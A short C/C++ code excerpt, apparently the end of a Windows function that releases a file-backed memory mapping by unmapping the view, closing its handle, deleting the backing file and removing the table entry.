261     for (i = 0; i < (int)vm.tbl.size(); i++) {
262         if (vm.tbl.at(i).vm_start_ptr == ptr) {
263             assert(vm.tbl.at(i).hMap);
264 
265             UnmapViewOfFile(vm.tbl.at(i).window.p);
266             CloseHandle(vm.tbl.at(i).hMap);
267 
268             DeleteFile(vm.tbl.at(i).file_path);
269 
270             vm.tbl.erase(vm.tbl.begin() + i);
271             return 0;
272         }
273     }
274 
275     assert(!"Invalid pointer");
276 
277     return 0;
278 }